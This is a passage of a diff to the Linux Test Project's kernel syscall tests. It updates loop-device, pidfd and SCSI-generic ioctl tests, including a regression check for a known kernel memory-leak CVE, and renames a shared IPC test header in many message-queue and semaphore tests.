with * LOOP_SET_BLOCK_SIZE and LOOP_CONFIGURE flags. */ @@ -58,7 +58,7 @@ static void verify_ioctl_loop(unsigned int n) if (TST_RET == 0) { tst_res(TFAIL, "Set block size succeed unexpectedly"); if (tcases[n].ioctl_flag == LOOP_CONFIGURE) { - tst_detach_device_by_fd(dev_path, dev_fd); + tst_detach_device_by_fd(dev_path, &dev_fd); dev_fd = SAFE_OPEN(dev_path, O_RDWR); } return; @@ -88,7 +88,7 @@ static void run(unsigned int n) return; } if (attach_flag) { - tst_detach_device_by_fd(dev_path, dev_fd); + tst_detach_device_by_fd(dev_path, &dev_fd); dev_fd = SAFE_OPEN(dev_path, O_RDWR); attach_flag = 0; } @@ -147,8 +147,8 @@ static struct tst_test test = { .tcnt = ARRAY_SIZE(tcases), .needs_root = 1, .needs_tmpdir = 1, - .needs_drivers = (const char *const []) { - "loop", + .needs_kconfigs = (const char *const []) { + "CONFIG_BLK_DEV_LOOP", NULL } }; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop07.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop07.c index be136fe0..6a58577c 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop07.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop07.c @@ -6,7 +6,8 @@ */ /*\ - * Tests ioctl() on loopdevice with LOOP_SET_STATUS64 and LOOP_GET_STATUS64 flags. + * Tests :manpage:`ioctl(2)` on loopdevice with LOOP_SET_STATUS64 and + * LOOP_GET_STATUS64 flags. * * Tests lo_sizelimit field. If lo_sizelimit is 0, it means max * available. If sizelimit is less than loop_size, loopsize will @@ -70,7 +71,7 @@ static void verify_ioctl_loop(unsigned int n) loopinfoget.lo_sizelimit, tc->set_sizelimit); /*Reset*/ if (tc->ioctl_flag == LOOP_CONFIGURE) { - tst_detach_device_by_fd(dev_path, dev_fd); + tst_detach_device_by_fd(dev_path, &dev_fd); dev_fd = SAFE_OPEN(dev_path, O_RDWR); } else { loopinfo.lo_sizelimit = 0; @@ -99,7 +100,7 @@ static void run(unsigned int n) return; } if (attach_flag) { - tst_detach_device_by_fd(dev_path, dev_fd); + tst_detach_device_by_fd(dev_path, &dev_fd); dev_fd = SAFE_OPEN(dev_path, O_RDWR); attach_flag = 0; } @@ -161,8 +162,8 @@ static struct tst_test test = { {"linux-git", "79e5dc59e297"}, {} }, - .needs_drivers = (const char *const []) { - "loop", + .needs_kconfigs = (const char *const []) { + "CONFIG_BLK_DEV_LOOP", NULL } }; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_ns05.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_ns05.c index e84af38b..ccc21687 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_ns05.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_ns05.c @@ -103,4 +103,8 @@ static struct tst_test test = { .min_kver = "4.9", .setup = setup, .cleanup = cleanup, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, }; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd.h b/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd.h index 811f969c..2740284f 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd.h +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd.h @@ -9,6 +9,34 @@ #include "tst_test.h" #include "lapi/pidfd.h" +static inline int ioctl_pidfd_get_info_supported(void) +{ + pid_t pid; + int pidfd, ret; + int supported = 0; + struct pidfd_info info; + + if (tst_kvercmp(6, 13, 0) >= 0) + return 1; + + memset(&info, 0, sizeof(struct pidfd_info)); + + pid = SAFE_FORK(); + if (!pid) + exit(100); + + pidfd = SAFE_PIDFD_OPEN(pid, 0); + + ret = ioctl(pidfd, PIDFD_GET_INFO, &info); + SAFE_WAITPID(pid, NULL, 0); + + if (ret != -1) + supported = 1; + + SAFE_CLOSE(pidfd); + return supported; +} + static inline int ioctl_pidfd_info_exit_supported(void) { int ret; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd01.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd01.c index a786b25b..95c0e8f3 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd01.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd01.c @@ -4,8 +4,8 @@ */ /*\ - * Verify that ioctl() raises the right errors when an application provides - * the wrong file descriptor. + * Verify that :manpage:`ioctl(2)` raises the right errors when an application + * provides wrong file descriptor. */ #include "ioctl_pidfd.h" diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd02.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd02.c index 858ec461..71dd3962 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd02.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd02.c @@ -4,7 +4,7 @@ */ /*\ - * Check if the ioctl() function allows retrieval of a child's exit code + * Check if the :manpage:`ioctl(2)` function allows retrieval of a child's exit code * using PIDFD_INFO_EXIT from a process that can be isolated or not from the * child. */ @@ -27,7 +27,7 @@ static void run(unsigned int isolate) if (isolate) { args->flags = CLONE_PIDFD | CLONE_NEWUSER | CLONE_NEWPID; - args->pidfd = (uint64_t)&pidfd; + args->pidfd = TST_PTR_TO_UINT(&pidfd); args->exit_signal = SIGCHLD; pid_child = SAFE_CLONE(args); @@ -81,5 +81,10 @@ static struct tst_test test = { {&info0, .size = sizeof(*info0)}, {&info1, .size = sizeof(*info1)}, {} + }, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + "CONFIG_PID_NS", + NULL } }; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd03.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd03.c index eca4b90f..3916d3d2 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd03.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd03.c @@ -4,9 +4,9 @@ */ /*\ - * Verify that ioctl() returns ESRCH when a process attempts to access the - * exit status of an isolated child using `PIDFD_GET_INFO` and - * `PIDFD_INFO_EXIT` is not defined in `struct pidfd_info`. + * Verify that :manpage:`ioctl(2)` returns ESRCH when a process attempts to access the + * exit status of an isolated child using PIDFD_GET_INFO and PIDFD_INFO_EXIT + * is not defined in struct pidfd_info. */ #include "ioctl_pidfd.h" @@ -24,7 +24,7 @@ static void run(void) memset(args, 0, sizeof(struct tst_clone_args)); args->flags = CLONE_PIDFD | CLONE_NEWUSER | CLONE_NEWPID; - args->pidfd = (uint64_t)&pidfd; + args->pidfd = TST_PTR_TO_UINT(&pidfd); args->exit_signal = SIGCHLD; pid_child = SAFE_CLONE(args); @@ -60,5 +60,10 @@ static struct tst_test test = { {&args, .size = sizeof(*args)}, {&info, .size = sizeof(*info)}, {} + }, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + "CONFIG_PID_NS", + NULL } }; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd04.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd04.c index e5f58241..52bece60 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd04.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd04.c @@ -4,8 +4,8 @@ */ /*\ - * Verify that ioctl() permits to obtain the exit code of an isolated signaled - * child via PIDFD_INFO_EXIT from within a process. + * Verify that :manpage:`ioctl(2)` permits to obtain the exit code of an isolated + * signaled child via PIDFD_INFO_EXIT from within a process. */ #include "ioctl_pidfd.h" @@ -26,7 +26,7 @@ static void run(void) info->mask = PIDFD_INFO_EXIT; args->flags = CLONE_PIDFD | CLONE_NEWUSER | CLONE_NEWPID; - args->pidfd = (uint64_t)&pidfd; + args->pidfd = TST_PTR_TO_UINT(&pidfd); args->exit_signal = SIGCHLD; pid_child = SAFE_CLONE(args); @@ -67,5 +67,10 @@ static struct tst_test test = { {&args, .size = sizeof(*args)}, {&info, .size = sizeof(*info)}, {} + }, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + "CONFIG_PID_NS", + NULL } }; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd05.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd05.c index c379717b..75856d5e 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd05.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd05.c @@ -4,8 +4,8 @@ */ /*\ - * Verify that ioctl() raises an EINVAL error when PIDFD_GET_INFO is used. This - * happens when: + * Verify that :manpage:`ioctl(2)` raises an EINVAL or ENOTTY (since v6.18-rc1) error + * when PIDFD_GET_INFO is used. This happens when: * * - info parameter is NULL * - info parameter is providing the wrong size @@ -14,7 +14,8 @@ #include "tst_test.h" #include "lapi/pidfd.h" #include "lapi/sched.h" -#include "lapi/ioctl.h" +#include <errno.h> +#include "ioctl_pidfd.h" struct pidfd_info_invalid { uint32_t dummy; @@ -35,7 +36,7 @@ static void run(void) info_invalid->dummy = 1; args->flags = CLONE_PIDFD | CLONE_NEWUSER | CLONE_NEWPID; - args->pidfd = (uint64_t)&pidfd; + args->pidfd = TST_PTR_TO_UINT(&pidfd); args->exit_signal = SIGCHLD; pid_child = SAFE_CLONE(args); @@ -43,17 +44,37 @@ static void run(void) exit(0); TST_EXP_FAIL(ioctl(pidfd, PIDFD_GET_INFO, NULL), EINVAL); - TST_EXP_FAIL(ioctl(pidfd, PIDFD_GET_INFO_SHORT, info_invalid), EINVAL); + + /* + * Expect ioctl to fail; accept either EINVAL or ENOTTY (v6.18-rc1, + * 3c17001b21b9f ("pidfs: validate extensible ioctls")). + */ + int exp_errnos[] = {EINVAL, ENOTTY}; + + TST_EXP_FAIL_ARR(ioctl(pidfd, PIDFD_GET_INFO_SHORT, info_invalid), + exp_errnos, ARRAY_SIZE(exp_errnos)); SAFE_CLOSE(pidfd); } +static void setup(void) +{ + if (!ioctl_pidfd_get_info_supported()) + tst_brk(TCONF, "ioctl(PIDFD_GET_INFO) is not implemented"); +} + static struct tst_test test = { .test_all = run, + .setup = setup, .forks_child = 1, .bufs = (struct tst_buffers []) { {&args, .size = sizeof(*args)}, {&info_invalid, .size = sizeof(*info_invalid)}, {} + }, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + "CONFIG_PID_NS", + NULL } }; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd06.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd06.c index 998f642e..bc90aafd 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd06.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_pidfd06.c @@ -4,7 +4,7 @@ */ /*\ - * Verify that ioctl() doesn't allow to obtain the exit status of an isolated + * Verify that :manpage:`ioctl(2)` doesn't allow to obtain the exit status of an isolated * process via PIDFD_INFO_EXIT in within an another isolated process, which * doesn't have any parent connection. */ @@ -14,6 +14,7 @@ static struct tst_clone_args *args; static struct pidfd_info *info; +static int err_nr = ESRCH; static void run(void) { @@ -26,7 +27,7 @@ static void run(void) info->mask = PIDFD_INFO_EXIT; args->flags = CLONE_PIDFD | CLONE_NEWUSER | CLONE_NEWPID; - args->pidfd = (uint64_t)&pidfd; + args->pidfd = TST_PTR_TO_UINT(&pidfd); args->exit_signal = SIGCHLD; pid_child = SAFE_CLONE(args); @@ -41,7 +42,7 @@ static void run(void) args->exit_signal = SIGCHLD; if (!SAFE_CLONE(args)) { - TST_EXP_FAIL(ioctl(pidfd, PIDFD_GET_INFO, info), ESRCH); + TST_EXP_FAIL(ioctl(pidfd, PIDFD_GET_INFO, info), err_nr); exit(0); } @@ -52,6 +53,14 @@ static void setup(void) { if (!ioctl_pidfd_info_exit_supported()) tst_brk(TCONF, "PIDFD_INFO_EXIT is not supported by ioctl()"); + + /* + * ab89060fbc92e ("pidfs: return -EREMOTE when PIDFD_GET_INFO is called on another ns") + * from v7.0, backported to v6.18.14 and v6.19.10. + */ + if (tst_kvercmp(6, 19, 10) >= 0 || + (tst_kvercmp(6, 18, 14) >= 0 && tst_kvercmp(6, 19, 0) < 0)) + err_nr = EREMOTE; } static struct tst_test test = { @@ -62,5 +71,10 @@ static struct tst_test test = { {&args, .size = sizeof(*args)}, {&info, .size = sizeof(*info)}, {} + }, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + "CONFIG_PID_NS", + NULL } }; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_sg01.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_sg01.c index fba3816c..3a8e0cf4 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_sg01.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_sg01.c @@ -16,6 +16,12 @@ * Date: Fri May 18 16:23:18 2018 +0200 * * scsi: sg: allocate with __GFP_ZERO in sg_build_indirect() + * + * commit 41e99fe2005182139b1058db71f0d241f8f0078c + * Author: Desnes Nunes <desnesn@redhat.com> + * Date: Fri Oct 31 01:34:36 2025 -0300 + * + * usb: storage: Fix memory leak in USB bulk transport */ #include <sys/types.h> @@ -29,48 +35,83 @@ #include "tst_test.h" #include "tst_memutils.h" +#define SYSDIR "/sys/block" +#define BLOCKDIR "/sys/block/%s/device/generic" + #define BUF_SIZE (128 * 4096) #define CMD_SIZE 6 static int devfd = -1; -static char buffer[BUF_SIZE]; +static char buffer[BUF_SIZE + 1]; static unsigned char command[CMD_SIZE]; static struct sg_io_hdr query; /* TODO: split this off to a separate SCSI library? */ static const char *find_generic_scsi_device(int access_flags) { - DIR *devdir; + DIR *sysdir; struct dirent *ent; int tmpfd; - static char devpath[PATH_MAX]; + ssize_t length; + char *filename; + static char devpath[PATH_MAX], genpath[PATH_MAX]; - errno = 0; - devdir = opendir("/dev"); + sysdir = opendir(SYSDIR); - if (!devdir) + if (!sysdir) return NULL; - while ((ent = SAFE_READDIR(devdir))) { - /* The bug is most likely reproducible only on /dev/sg* */ - if (strncmp(ent->d_name, "sg", 2) || !isdigit(ent->d_name[2])) + /* Scan block devices */ + while ((ent = SAFE_READDIR(sysdir))) { + if (ent->d_name[0] == '.') + continue; + + snprintf(devpath, PATH_MAX, BLOCKDIR, ent->d_name); + devpath[PATH_MAX - 1] = '\0'; + length = readlink(devpath, genpath, PATH_MAX - 1); + + if (length < 0) continue; - snprintf(devpath, PATH_MAX, "/dev/%s", ent->d_name); + genpath[length] = '\0'; + filename = basename(genpath); + + snprintf(devpath, PATH_MAX, "/dev/%s", filename); /* access() makes incorrect assumptions about block devices */ tmpfd = open(devpath, access_flags); if (tmpfd >= 0) { SAFE_CLOSE(tmpfd); - SAFE_CLOSEDIR(devdir); + SAFE_CLOSEDIR(sysdir); return devpath; } + + tst_res(TINFO | TERRNO, "Cannot open device %s", devpath); } - SAFE_CLOSEDIR(devdir); + SAFE_CLOSEDIR(sysdir); return NULL; } +static void dump_hex(const char *str, size_t size) +{ + size_t i; + + for (; size && !str[size - 1]; size--) + ; + + for (i = 0; i < size; i++) { + if (i && (i % 32) == 0) + printf("\n"); + else if (i && (i % 4) == 0) + printf(" "); + + printf("%02x", (unsigned int)str[i]); + } + + printf("\n"); +} + static void setup(void) { const char *devpath = find_generic_scsi_device(O_RDONLY); @@ -106,6 +147,7 @@ static void run(void) for (i = 0; i < 100; i++) { TEST(ioctl(devfd, SG_IO, &query)); + buffer[BUF_SIZE] = '\0'; if (TST_RET != 0 && TST_RET != -1) tst_brk(TBROK|TTERRNO, "Invalid ioctl() return value"); @@ -114,6 +156,8 @@ static void run(void) for (j = 0; j < BUF_SIZE; j++) { if (buffer[j]) { tst_res(TFAIL, "Kernel memory leaked"); + tst_res(TINFO, "Buffer contents: %s", buffer); + dump_hex(buffer, BUF_SIZE); return; } } @@ -129,6 +173,7 @@ static struct tst_test test = { .timeout = 3600, .tags = (const struct tst_tag[]) { {"linux-git", "a45b599ad808"}, + {"linux-git", "41e99fe20051"}, {"CVE", "2018-1000204"}, {} } diff --git a/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl01.c b/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl01.c index 56d1505f..95319fa2 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl01.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl01.c @@ -13,7 +13,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static int msg_id = -1; static time_t creat_time; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl02.c b/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl02.c index 1ace62f1..594f0ebe 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl02.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl02.c @@ -13,7 +13,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static int msg_id = -1; struct msqid_ds orig_buf; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl03.c b/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl03.c index cc7abd4b..a231d073 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl03.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl03.c @@ -12,7 +12,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static void verify_msgctl(void) { diff --git a/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl04.c b/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl04.c index 4b62896f..37f54989 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl04.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl04.c @@ -14,7 +14,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "lapi/syscalls.h" static int msg_id1 = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl05.c b/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl05.c index 7e059d7f..97735271 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl05.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl05.c @@ -8,7 +8,7 @@ */ #include <sys/msg.h> #include "lapi/msgbuf.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "tst_test.h" #include "tst_safe_sysv_ipc.h" diff --git a/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl06.c b/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl06.c index 2e22f37f..78c4f7be 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl06.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl06.c @@ -25,7 +25,7 @@ #include <pwd.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "lapi/msg.h" static int msg_id = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl12.c b/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl12.c index 73eead74..1817be2a 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl12.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgctl/msgctl12.c @@ -13,7 +13,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static int msg_q = -1; static int index_q; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgget/msgget01.c b/ltp/testcases/kernel/syscalls/ipc/msgget/msgget01.c index dd5a5ad7..726e09cc 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgget/msgget01.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgget/msgget01.c @@ -16,7 +16,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static int queue_id = -1; static key_t msgkey; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgget/msgget02.c b/ltp/testcases/kernel/syscalls/ipc/msgget/msgget02.c index ef9ab34b..8cf57fd5 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgget/msgget02.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgget/msgget02.c @@ -24,7 +24,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static key_t msgkey, msgkey1; static int queue_id = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgget/msgget03.c b/ltp/testcases/kernel/syscalls/ipc/msgget/msgget03.c index bd065397..f3d7579a 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgget/msgget03.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgget/msgget03.c @@ -17,7 +17,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static int maxmsgs, queue_cnt, used_cnt; static int *queues; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgget/msgget04.c b/ltp/testcases/kernel/syscalls/ipc/msgget/msgget04.c index 28cbb335..7f8f2ed9 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgget/msgget04.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgget/msgget04.c @@ -20,7 +20,7 @@ #include <sys/msg.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #define NEXT_ID_PATH "/proc/sys/kernel/msg_next_id" static int queue_id, pid; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgget/msgget05.c b/ltp/testcases/kernel/syscalls/ipc/msgget/msgget05.c index edcb307c..c683142f 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgget/msgget05.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgget/msgget05.c @@ -18,7 +18,7 @@ #include <sys/msg.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #define NEXT_ID_PATH "/proc/sys/kernel/msg_next_id" diff --git a/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv01.c b/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv01.c index 58bfd277..2b075da1 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv01.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv01.c @@ -10,7 +10,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" #include "tst_clocks.h" -#include "libnewipc.h" +#include "tse_newipc.h" static key_t msgkey; static int queue_id = -1, pid; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv02.c b/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv02.c index 3e4462c0..01c15723 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv02.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv02.c @@ -30,7 +30,7 @@ #include <pwd.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static key_t msgkey; static int queue_id = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv03.c b/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv03.c index 3e461b30..c179f75e 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv03.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv03.c @@ -27,7 +27,7 @@ #include <pwd.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "lapi/msg.h" static key_t msgkey; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv05.c b/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv05.c index cc385ee6..59d16732 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv05.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv05.c @@ -11,7 +11,7 @@ #include <stdlib.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static key_t msgkey; static int queue_id = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv06.c b/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv06.c index f14526df..2aee01ff 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv06.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv06.c @@ -13,7 +13,7 @@ #include <stdlib.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static key_t msgkey; static int queue_id = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv07.c b/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv07.c index d2d1a882..2184142f 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv07.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv07.c @@ -29,7 +29,7 @@ #include <sys/wait.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "lapi/msg.h" #define MSGTYPE1 1 diff --git a/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv08.c b/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv08.c index 1ab6eba9..e55d8c96 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv08.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgrcv/msgrcv08.c @@ -27,7 +27,7 @@ #include <sys/msg.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static long mtype = 121; static key_t msgkey; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c b/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c index 6d92f3de..fb55d29e 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c @@ -16,7 +16,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" #include "tst_clocks.h" -#include "libnewipc.h" +#include "tse_newipc.h" static key_t msgkey; static int queue_id = -1, pid; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c b/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c index eca66060..b1e1e388 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c @@ -28,7 +28,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static key_t msgkey; static int queue_id = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c b/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c index 887bfdef..2ce334fd 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c @@ -21,7 +21,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static key_t msgkey; static int queue_id = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c b/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c index 8fc665e6..778cef89 100644 --- a/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c +++ b/ltp/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c @@ -17,7 +17,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static key_t msgkey; static int queue_id = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl01.c b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl01.c index 92a36bff..5bd675ab 100644 --- a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl01.c +++ b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl01.c @@ -11,7 +11,7 @@ #include "tst_safe_sysv_ipc.h" #include "tst_test.h" #include "lapi/sem.h" -#include "libnewipc.h" +#include "tse_newipc.h" #define INCVAL 2 #define NEWMODE 066 diff --git a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl02.c b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl02.c index 6ca63472..a8fed4fd 100644 --- a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl02.c +++ b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl02.c @@ -12,7 +12,7 @@ #include "tst_safe_sysv_ipc.h" #include "tst_test.h" #include "lapi/sem.h" -#include "libnewipc.h" +#include "tse_newipc.h" static int sem_id = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl03.c b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl03.c index 11530b20..dc11d082 100644 --- a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl03.c +++ b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl03.c @@ -12,7 +12,7 @@ #include "tst_safe_sysv_ipc.h" 